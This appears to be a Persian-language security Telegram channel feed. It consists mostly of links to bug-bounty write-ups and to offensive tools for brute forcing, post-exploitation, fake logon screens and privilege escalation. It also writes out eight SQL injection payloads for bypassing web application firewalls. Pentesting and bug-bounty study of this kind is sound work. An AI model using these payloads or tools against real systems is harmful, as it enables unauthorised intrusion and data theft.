رایت آپهای مرتبط با ضعف آپلودرها

Unrestricted file upload

https://link.medium.com/sILCWr8xB3
https://link.medium.com/V8SdaJ8xB3
https://noobe.io/articles/2019-09/exploiting-cookie-based-xss-by-finding-rce
https://link.medium.com/6qTQZwayB3
https://anotherhackerblog.com/exploiting-file-uploads-pt-2
https://link.medium.com/1wFiIWayB3
https://link.medium.com/5rv5CbbyB3
https://mustafakemalcan.com/asus-rce-vulnerability-on-rma-asus-europe-eu
https://link.medium.com/jFGhtvbyB3
https://link.medium.com/fRfag0byB3

#bougbounty
#writeup
#pentest
#web


@sec_nerd

لیست بدافزارهای اندرویدی فعال و توضیح یک خطی در مورد نحوه فعالیت هرکدام

https://forensics.spreitzenbarth.de/android-malware/


#android
#malware


@sec_nerd

نقشه ی گستردگی دستگاه های آسیب پذیر #citrix در برابر CVE-2019-19781


#shodan
#cirtix

@sec_nerd

یعنی تا الان...


#shit
#fortinet

@sec_nerd

رتبه بندی کشورهای میزبان سرورهای کنترل کننده بات نت ها در سال ۲۰۱۹


(توی بیست تای اول نیستیم)


https://www.spamhaus.org/news/article/793/


#news
#botnet


@sec_nerd

بروت فورس SMB با ابزار SMBrute

https://github.com/m4ll0k/SMBrute


#smb
#windows
#linux
#pentest

@sec_nerd

مجموعه اسکریپت های مفید برای عملیات پسانفوذ


https://github.com/mubix/post-exploitation


#post_exploitation
#windows
#privesc
#lateral_movement


@sec_nerd

Cross-Site Websocket Hijacking bug in Facebook that leads to account takeover


https://ysamm.com/?p=363


#writeup
#facebook
#bugbounty


@sec_nerd

رمزگشایی مقادیر استخراج شده از کانفیگ Citrix


https://dozer.nz/citrix-decrypt/



#citrix
#shitrix


@sec_nerd

هشت روش برای دور زدن WAF در حملات تزریق SQL

1.Nullbyte:
%00' UNION SELECT password FROM Users WHERE username-'tom'--

2. SQL Comments:
'/**/UN/**/ION/**/SEL/**/ECT/**/password/**/FR/OM/**/Users/**/WHE/**/RE/**/usersame/**/LIKE/**/'tom'--

3. URL encoding:
%252f%252a*/UNION%252f%252a*/SELECT%252f%252a*/password%252f%252a*/FROM%252f%252a*/Users%252f%25a*/WHERE%252f%252a*/username%252f%252a*/LIKE%252f%252a*/'tom'--

4. Changing Cases:
UniOn AlL SeLeCt/*inc0gbyt3*/select/**/1,2,3,4,5 --


5. HTTP Parameter Pollution (HPP):
Regular attack SQLi hxxps://www.xxx.com/noticias.php?id=1 union select 1,2 --

HPP attack + SQLi: hxxps://www.xxx.com/noticias.php?id=1&id=*/union/*&id=*/select/*&id=*/1,2+--+


6. Replacing keywords technique
hxxps://www.xxx.com/artigos.php?id=123+UnIoN+SeLselectECT+1,2,3,4,5--

7. CRLF WAF Bypass (Carriage Return, Line Feed) - Common on (aspxasp) applications
Putting theses chars at the beggining of payload

%0A%0d+select+user+from+dual+%0A%0D


8. Buffer Overflow bypassing:
and (select 1) = (select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ..... A's)



https://incogbyte.github.io/sqli_waf_bypass/


#sqli
#WAF
#web
#pentest


@sec_nerd

تبدیل SQLi به RCE

https://pentestmag.com/sql-injection-to-rce/


#sqli
#rce
#web
#pentest


@sec_nerd

سرقت توکن های CSRF با استفاده از XSS


https://sametsahin.net/posts/steal-csrf-tokens-with-simple-xss/


#xss
#csrf


@sec_nerd

windows firewall

#fun

@sec_nerd

صفحه ی فیک لاگین ویندوز که قابلیت ترکیب با سایر ابزارها و بدافزارهای ویندوزی را دارد

زبان سی شارپ

https://github.com/bitsadmin/fakelogonscreen


#windows
#pentest
#malware
#privesc


@sec_nerd

وقتی دستور git رو اشتباه تایپ میکنی

#fun
#dev

@sec_nerd

بالابردن سطح دسترسی از ادمین Hyper-v به یوزر SYSTEM در آخرین نسخه ی پچ شده ی ویندوز ۱۰

https://decoder.cloud/2020/01/20/from-hyper-v-admin-to-system/


ابزار:
https://github.com/decoder-it/Hyper-V-admin-EOP/




#windows
#privesc
#hyper_v


@sec_nerd

مجموعه رایت آپهای مرتبط با آسیب پذیری Reflected XSS

Reflected XSS

https://link.medium.com/j1cgHbZpq3
https://link.medium.com/q9eeokp2J3
https://link.medium.com/5zdO3gPEw3
https://link.medium.com/vwwEcNQEw3
https://link.medium.com/TH0sHaq2J3
https://link.medium.com/njXx6sq2J3
https://victoni.github.io/bug-hunting-xss-on-cookie-popup-warning
https://gauravnarwani.com/cookie-worth-a-fortune
https://link.medium.com/bx6lLPq2J3
https://link.medium.com/3khM76q2J3

#bugbounty
#xss
#writeup
#pentest
#web


@sec_nerd

مجموعه رایت آپهای مرتبط با آسیب پذیری CSRF

https://santuysec.com/2020/01/21/google-bug-bounty-csrf-in-learndigital-withgoogle-com
https://link.medium.com/cMm5RBzqH3
https://link.medium.com/Gg2BkPzqH3
https://link.medium.com/vZ6kv6zqH3
https://link.medium.com/NYlc5kcIw3
https://link.medium.com/qE0NmPAqH3
https://link.medium.com/jnPy23AqH3
https://link.medium.com/mDuIOdiWx3
https://noobe.io/articles/2019-10/xss-to-account-takeover
https://smaranchand.com.np/2019/10/an-inconsistent-csrf

#bugbounty
#web
#pentest
#writeup
#csrf


@sec_nerd

شرکت ژاپنی NEC اعتراف کرد شبکه داخلی اش در سال ۲۰۱۶ مورد حمله ی هکرها قرار گرفته است.
آنها در سال ۲۰۱۷ متوجه ترافیک رمزنگاری شده ی مشکوکی در شبکه داخلی خود شدند که یکسال بعد توانستند آن را رمزگشایی کرده و متوجه شوند که این ترافیک بیش از ۲۷ هزار فایل را از بخش تجارت دفاعی شرکت به سرقت برده است!
با اینکه شرکت NEC دومین شرکت پیمانکار نظامی در ژاپن است که مورد حمله ی هکرها قرار میگیرد اما مسئولان این شرکت اعلام کردند که داده های سرقت شده حاوی پروژه های دفاعی یا اطلاعات شخصی کارکنان نبوده است.



https://www.zdnet.com/article/japanese-company-nec-confirms-2016-security-breach/


#breach
#news
#japan


@sec_nerd

Regex cheatsheet for the haters :
https://github.com/geongeorge/i-hate-regex


#LOL
#dev


@sec_nerd